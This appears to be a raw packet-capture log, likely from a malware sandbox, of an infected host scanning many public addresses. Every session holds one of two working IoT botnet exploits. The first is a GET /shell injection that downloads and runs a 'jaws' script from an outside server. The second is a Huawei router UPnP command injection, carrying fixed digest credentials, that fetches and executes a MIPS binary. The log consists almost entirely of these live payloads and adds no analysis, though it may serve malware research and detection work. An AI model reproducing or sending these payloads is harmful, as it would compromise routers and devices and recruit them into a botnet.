Dec 3, 2024 21:30:50.328279972 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.23	58478	104.94.144.183	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.347783089 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.23	57176	82.135.213.51	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.348500013 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.23	58894	97.66.36.254	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.349065065 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.23	44212	156.219.74.61	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.412693977 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.23	49798	18.145.102.122	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.475564957 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.23	37672	94.147.154.72	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.541220903 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.23	56822	51.137.140.164	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.542006969 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.23	46770	175.121.86.4	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.542666912 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.23	56708	8.103.67.204	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:51.438693047 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.23	59116	46.150.128.128	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:51.815287113 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.23	35808	220.142.4.23	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:51.816025972 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.23	41620	67.181.179.91	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:51.816610098 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.23	53538	41.242.244.42	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:52.433198929 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.23	60000	197.54.174.254	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:52.433799982 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.23	38320	156.6.99.220	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:52.434390068 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.23	40264	197.2.94.37	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:52.434962034 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.23	35146	197.142.116.145	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:52.435544968 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.23	52828	197.101.2.157	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:52.436127901 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.23	58874	156.209.214.149	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:52.436697006 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.23	48548	156.254.240.189	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:52.437285900 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 